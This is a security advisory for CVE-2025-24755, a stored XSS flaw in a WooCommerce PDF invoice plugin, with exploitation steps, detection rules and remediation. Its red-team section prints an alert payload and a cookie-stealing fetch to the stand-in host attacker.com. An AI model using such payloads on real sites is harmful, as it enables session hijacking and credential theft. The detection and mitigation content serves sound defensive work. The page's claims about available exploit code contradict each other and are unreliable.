CVE-2025-24755
Executive Summary
CVE-2025-24755 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PDF Invoice Builder for WooCommerce (slug: pdf-for-woocommerce) by add-ons.org. The vulnerability affects all versions up to and including 4.6.0. An authenticated attacker with low privileges (e.g., a shop manager or customer) can inject malicious JavaScript into the PDF invoice generation functionality. When an administrator or other user views the generated PDF or the invoice preview within the WordPress admin panel, the injected script executes in their browser session. This can lead to session hijacking, credential theft, or defacement of the WordPress admin interface. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify the integrity of the plugin files by checking checksums provided by the vendor or WordPress.org. The lack of a patch increases supply chain risk, as users must rely on manual mitigation or temporary workarounds.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs a WordPress user account with access to the PDF invoice feature.
- User Interaction: Required (UI:R) – the victim must view the malicious PDF or invoice preview.
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored XSS nature means the payload persists and can affect multiple users over time.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation in the PDF invoice builder. The plugin likely accepts user input (e.g., custom order notes, billing details, or product descriptions) and embeds it directly into the HTML or PDF content without proper sanitization or encoding. When the PDF is generated or previewed in the browser, the injected script executes.
Attack Flow:
- An attacker with a WordPress account (e.g., a customer or shop manager) places an order or modifies an existing order.
- The attacker injects a malicious payload into a field that is rendered in the PDF invoice (e.g., the "Order Notes" field).
- The plugin stores the payload in the WordPress database.
- When an administrator or other user views the invoice (either as a PDF download or as an HTML preview in the admin panel), the payload executes.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the admin interface.
Root Cause: The plugin uses echo or print statements to output user data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (hypothetical):
// In a template file or function that generates the invoice
echo "<p>Order Note: " . $order->get_customer_note() . "</p>";
Patched Code (hypothetical):
// Properly escape the output
echo "<p>Order Note: " . esc_html( $order->get_customer_note() ) . "</p>";
The patched version uses esc_html() to convert special characters like <, >, ", ', and & into their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with the PDF Invoice Builder for WooCommerce plugin (version <= 4.6.0).
- A user account with the ability to add order notes or modify billing details (e.g., a customer or shop manager).
Exploitation Steps:
- Log in to WordPress as a user with the required privileges.
- Create a new order or edit an existing one.
- In a field that is rendered in the PDF invoice (e.g., "Order Notes"), inject the following payload:
<script>alert('XSS');</script> - Save the order.
- As an administrator, navigate to the WooCommerce orders page and click "View Invoice" or download the PDF.
- The JavaScript executes, displaying an alert box.
Advanced Payload (session hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual order notes or billing details containing
<script>tags or event handlers likeonload,onerror,onmouseover. - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to WooCommerce endpoints.
- Enable WordPress security plugins that scan for malicious content in user-submitted data.
Hunting:
- Search the WordPress database for stored XSS payloads:
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'; - Review WooCommerce order notes for suspicious HTML/JavaScript.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
document.cookieorlocalStoragedata. - Unusual
Refererheaders pointing to WordPress admin pages with invoice previews.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- Presence of
<script>tags or event handlers in thewp_postmetatable, specifically in meta keys related to order notes or billing fields. - Modified plugin files (e.g.,
pdf-for-woocommerce/includes/class-pdf-generator.php) containing backdoors.
- Presence of
File IOCs:
- Suspicious entries in the WordPress
wp-content/uploads/pdf-invoices/directory (if PDFs are stored locally).
- Suspicious entries in the WordPress
Detection Engineering
YARA Rule
rule CVE_2025_24755_Stored_XSS {
meta:
description = "Detects stored XSS payloads in PDF Invoice Builder for WooCommerce"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24755"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/si
condition:
any of them
}
Sigma Rule
title: Stored XSS in PDF Invoice Builder for WooCommerce
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WooCommerce order notes or billing fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains:
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of JavaScript in order notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24755 Stored XSS Payload in WooCommerce Order"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Restrict user roles – ensure only trusted users have the ability to add order notes or modify billing details.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in WooCommerce-related POST data. - Enable Content Security Policy (CSP) headers to restrict script execution.
Long-Term Fix:
- The vendor must release a patched version that properly escapes all user input using WordPress's escaping functions (
esc_html(),esc_attr(),wp_kses_post()). - Users should update to the patched version as soon as it becomes available.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching for this vulnerability.
- Manually audit and sanitize the plugin's code if you have development resources.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.